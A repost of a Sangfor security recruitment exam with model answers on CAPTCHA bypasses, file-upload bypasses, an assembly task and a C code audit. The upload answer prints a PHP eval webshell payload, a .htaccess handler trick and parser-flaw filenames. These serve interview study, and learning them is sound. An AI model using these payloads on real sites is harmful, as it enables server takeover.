深信服校园招聘安全攻防F卷

news2024/9/22 13:24:09

1.请尽可能列举你知道的网站未能正确使用图片验证码机制的情况,以及如何绕过其限制?

- 图形验证码的内容可OCR识别

- 多阶段的过程,先校验验证码,成功之后的下一步不需要验证码,可以直接抓包,跳过第一步的验证

- 验证码在服务段校验后,没有立即失效,需要客户端再次请求才会更新,只要客户端不再请求验证码即可使用原来的验证码

- 生成验证码的模块是否根据提供的参数生成验证码,如果是说明存在漏洞

- 有些验证码与数据包中的某个参数绑定,比如cookie中的某个属性,只要它们相匹配,验证码就认为是有效的。这种机制存在漏洞。

- 在某些情况下,验证码隐藏在HTML源码或通过其他方式获得“明文”

- 在服务器端,是否只有在验证码检验通过后才进行用户名和密码的检验,如果不是说明存在漏洞。

-有些网站默认不显示验证码,而是在输入错误一定数量之后才需要验证验证码,开发人员可能在Cookie中写入一个标记loginErr,用来记录错误数量,则可以不更新Cookie中的loginErr值反复提交,验证码就不会出现。

-服务端没有对验证码参数进行非空判断(删除验证码参数值或者全部删除) 

-验证码不过期,没有及时销毁会话导致同一验证码反复可用。

-输入验证码点击登录抓包之后,如果页面不刷新或者说验证码不刷新,该验证码可以一直使用

2.请尽可能列举你知道的网站未能安全实现文件上传功能的情况,以及如何绕过其限制?

允许直接上传脚本文件:php、jsp、aspx

结合web server解析漏洞

一、IIS 5.x/6.0解析漏洞

IIS 6.0解析利用方法有两种

1.目录解析 /xx.asp/xx.jpg

2.文件解析 wooyun.asp;.jpg

二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>的文件

然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

三、Nginx <8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

Nginx在图片中嵌入PHP代码

然后通过访问xxx.jpg%00.php来执行其中的代码

四、Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.

比如wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.

五、其他

在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell。

如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

<FilesMatch "wooyun.jpg"> SetHandler application/x-httpd-php </FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。

前端文件名限制

firebug禁用javascript

firebug修改允许上传类型

Burp绕过限制

本地构造html代码

后端检测-MIME

修改MIME类型


 

后端检测-文件头

我们可以通过使用jpg图片马来绕过!

后端检测-文件扩展名,黑名单与白名单

大小写

寻找黑白名单的遗漏点

配合解析漏洞来绕过

%00和\x00截断

文件内容绕过:

图片马

加密webshell

填充垃圾数据

 

3.利用汇编语言编写一道程序,不使用乘法以及除法指令,计算(((AX*5)+300h)/2-100h)*8的值。

mov bx,ax
shl ax,2
add ax,bx
add ax,300h
shr ax,1
sub ax,100h
shl ax,3

4.阅读如下代码,其中main函数参数可以被攻击者控制,那么main函数中存在哪些漏洞,指出漏洞具体位置及问题,并说明这些代码中漏洞的修复方法

//读取指定的文件中的内容并返回该文件base64编码后的内容,函数失败则返回NULL,在非NULL情况下需要调用该函数后手动释放内存,该函数中不存在安全性问题

char *readBase64File(char *fileName);

int main(int argc, char* argv[])

{

    char filePath[260];

    char fileCmd[512];

    char *fileName;

    int dirIdx;

    char *fileContent;

    char *dirPaths[4];

dirPaths[0] = ”/home/data1/”;

dirPaths[1] = ”/home/data2/”;

dirPaths[2] = ”/home/data3/”;

dirPaths[3] = ”/home/data4/”;

    fileName = argv[1];

    dirIdx = atoi(argv[2]);

    if (dirIdx > 3)

{

    printf(“file index error!\n”);

        return -1;

    }

    strcpy(filePath, dirPaths[dirIdx]);

    if (strlen(filePath) + strlen(fileName) < 260)

        strcat(filePath, fileName);

    else

        return -1;

    fileContent = readBase64File(filePath);

    if (fileContent == NULL)

    {

        printf(“read filecontent error!\n”);

    }

    else

    {

        printf(“file content is: %s\n”, fileContent);

        free(fileContents);

    }

    strcpy(fileCmd, “rm ”);

    strcat(fileCmd, fileName);

    printf(fileCmd);

    system(fileCmd);

    return 0;

}

答案:命令执行,目录穿越,缓冲区溢出,数组越界访问,格式化字符串

(1)system(fileCmd);处存在命令执行漏洞及任意文件删除问题,需要进行命令执行过滤

(2)printf(fileCmd);处存在格式化字符串漏洞,此处可以通过%s来打印命令

(3)fileContent =readBase64File(filePath);处存在目录穿越,任意文件读取漏洞,此处可以对../这种目录穿越特征进行过滤

(4)strcpy(filePath, dirPaths[dirIdx]);处存在数组访问越界,从而可以也可以导致缓冲区溢出问题,判断有符号数的dirIdx时需要判断其大于等于0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/401163.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小诺开源技术

小诺开源技术 文章目录小诺开源技术前言页面演示介绍文档学习建议登录地址下载地址前言 近期接触了小诺开源技术的一个前端框架&#xff0c;底层是蚂蚁框架&#xff0c;感觉很好用&#xff0c;不过需要稍微学习并适应一下&#xff0c;推荐给大家&#xff0c;本篇仅用于学习&am…

人员摔倒识别预警算法 opencv

人员摔倒识别预警算法通过opencv网络模型技术&#xff0c;人员摔倒识别预警算法能够智能检测现场画面中人员有没有摔倒&#xff0c;无需人为干预可以立刻抓拍告警。OpenCV的全称是Open Source Computer Vision Library&#xff0c;是一个跨平台的计算机视觉处理开源软件库&…

C#:Krypton控件使用方法详解(第十四讲) ——kryptonSeparator

今天介绍的Krypton控件中的kryptonSeparator。下面介绍控件的外观属性如下图所示&#xff1a;Cursor属性&#xff1a;表示鼠标移动过该控件的时候&#xff0c;鼠标显示的形状。属性值如下图所示&#xff1a;DrawMoveIndicator属性&#xff1a;表示确定移动分隔符时是否绘制移动…

要不做一名 Prompt Engineer

文章目录1. 什么是 Prompt Engineer2. 如何成为 Prompt Engineer3. Prompt Engineer 需要具备哪些技能4. Prompt Egnineer 适合什么工作岗位5. Prompt Egnineer 未来的发展趋势&#xff1f;6. 哪些公司正在招聘 Prompt Egineer7. Prompt Engineer 必备的20个工具8. Prompt Engi…

SOLIDWORKS免费培训 SW大型装配体模式课程

在SOLIDWORKS的使用过程中&#xff0c;大家经常会遇到大型装配体的处理问题&#xff0c;微辰三维的培训课程中也包含了一些大型装配体的技术培训&#xff0c;下面整理一些常见问题&#xff0c;供参考&#xff1a;大型装配体模式1.当我们打开一个大的装配体时&#xff0c;可能会…

量化派递交上市申请,数字经济风口上开启“狂飙”模式

今年全国两会&#xff0c;代表委员们纷纷围绕“中小企业数字化转型”建言献策。如全国政协委员、甘肃省工业和信息化厅副厅长黄宝荣建议&#xff0c;在工业领域加快数字经济立法&#xff0c;支撑中小企业数字化转型&#xff1b;全国政协委员、中国财政科学研究院院长刘尚希建议…

智能移动出行带来更美好的未来——美国智能交通协会交通政策(附下载)

美国智能交通协会&#xff08;ITS America&#xff09;是美国交通系统技术现代化的国家主要倡导者&#xff0c;专注于推进智能交通技术的研究和部署。美国智能交通协会是美国交通部道路技术的官方咨询委员会&#xff0c;代表州和城市交通部门&#xff0c;运输部门&#xff0c;大…

佩戴舒适的蓝牙耳机品牌有哪些?不伤耳朵的蓝牙耳机推荐

现在不少人都离不开耳机吧&#xff1f;但什么样的耳机才是安全的、不伤耳的&#xff1f;更多的人看重耳机的重量&#xff0c;但是否贴合耳廓也是十分重要的&#xff0c;下面整理了几款当前热销佩戴舒适的蓝牙耳机&#xff0c;可供大家选购参考。 第一款&#xff1a;南卡小音舱蓝…

通达信捉妖改良CCI指标公式,简洁巧妙

高端的食材&#xff0c;往往只需要简单的烹饪方式。好的指标也是一样&#xff0c;只需要简单处理&#xff0c;就可以实现不错的效果。捉妖改良CCI指标公式属于意外之喜&#xff0c;编写指标时写错了&#xff0c;研究后发现结果比原想法更好。 捉妖改良CCI指标公式利用了CCI&am…

Python每日一练(20230310)

目录 1. 爬楼梯 ★ 2. 删除无效的括号 ★★★ 3. 给表达式添加运算符 ★★★ &#x1f31f; 每日一练刷题专栏 C/C 每日一练 ​专栏 Python 每日一练 专栏 1. 爬楼梯 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方…

分隔链表(精美图示详解哦)

全文目录引言分隔链表题目描述与思路实现总结引言 前面&#xff0c;我们熟悉了管理链表中的数据的方法&#xff0c;也了解了几道与链表相关的题目&#xff1a; 戳我看单链表详解哦 在本篇文章中&#xff0c;我们将再了解一道题目&#xff1a;分隔链表&#xff1a; 分隔链表OJ…

【Python】用Python实现帕累托图

作为一名多次创业者和项目管理培训师&#xff0c; 今天田辛老师要做一件跨界的事情。 一方面&#xff0c; 田老师整理了项目管理中的重要质量管理工具 “帕累托图”&#xff0c; 另一方面&#xff0c;田老师给到了帕累托图的Python的实现方式。 如果您只对Python实现方式感兴趣…

思科模拟器 | 交换机与路由器的配置汇总【收藏备用】

文章目录一、vlan配置【实现同一vlan的主机通信】1、基本配置和接线2、vlan配置与端口连接3、测试连接二、truck配置【实现连接在不同交换机上的同一vlan的主机通信】1、基本配置和接线2、vlan配置与端口连接3、打truck做连接3、测试连接三、静态路由配置1、自定义IP地址2、基本…

品牌营销 | 学习如何最大限度地发挥品牌营销的作用

您是否想过如何最大限度地发挥品牌营销的潜力&#xff1f;这是一项艰巨的挑战&#xff0c;通过了解品牌营销的基本组成部分&#xff0c;您可以成功地推广您的品牌。 &#xff08;图源&#xff1a;Pixabay&#xff09; 品牌营销的基本组成部分 你需要做什么来发展稳固的品牌&am…

STC89C51单片机相比于其他单片机具有那些优点?

STC89C51只适合和同性能的51内核单片机相比&#xff0c;性能不同并无可比性。11年前&#xff0c;我就是通过自学STC89C51入行单片机开发的。到目前为止都非常经典&#xff0c;很多开发板都是基于这个芯片去做的。我对STC单片机也是比较有好感的&#xff0c;一般51单片机的产品基…

【Java|golang】2379. 得到 K 个黑块的最少涂色次数---滑动窗口

给你一个长度为 n 下标从 0 开始的字符串 blocks &#xff0c;blocks[i] 要么是 ‘W’ 要么是 ‘B’ &#xff0c;表示第 i 块的颜色。字符 ‘W’ 和 ‘B’ 分别表示白色和黑色。 给你一个整数 k &#xff0c;表示想要 连续 黑色块的数目。 每一次操作中&#xff0c;你可以选…

07 C语言数组

07 C语言数组 1、初试数组 #include<stdio.h>int main(int argc,char const *argv[]){double sum;int a[100];int i 0;int cnt 0;scanf("%d",&i);while(i ! -1){sum i;a[cnt] i;scanf("%d",&i);}if(cnt > 0){double average sum / …

深入堆空间

堆空间用来干嘛的&#xff1f;我们知道基础类型的变量、对象的引用既可以在栈也可以在堆上&#xff0c;但是对象一定是在堆空间的。堆上存储的是从GC Root可达的活跃对象。什么是GC Root&#xff1f;垃圾回收器在判断哪些对象该回收的时候&#xff0c;需要一个标准&#xff0c;…

初识项目管理

项目的特性 项目是一项 临时性 的工作&#xff0c;即所有的项目都有确定的开始和结束时间。项目的目的是创造 独特 的产品、服务或成果。项目具有 渐近明细性&#xff0c;即项目随着时间的推移&#xff0c;相关信息逐渐清晰。 项目举例 万事皆项目&#xff1a; 开发信息系统…

川农机械专业小伙转行Java开发,年薪20w

本期学员就业故事&#xff0c;知了姐邀请到一位“特别”的同学&#xff0c;一位从知了堂就业成功近两年的学员再度接受我们的采访。 来自四川农业大学的曾同学&#xff0c;一个本来学机械开挖掘机的粗犷男人&#xff0c;因为不断地努力学习编程&#xff0c;最终成为一个性格闷…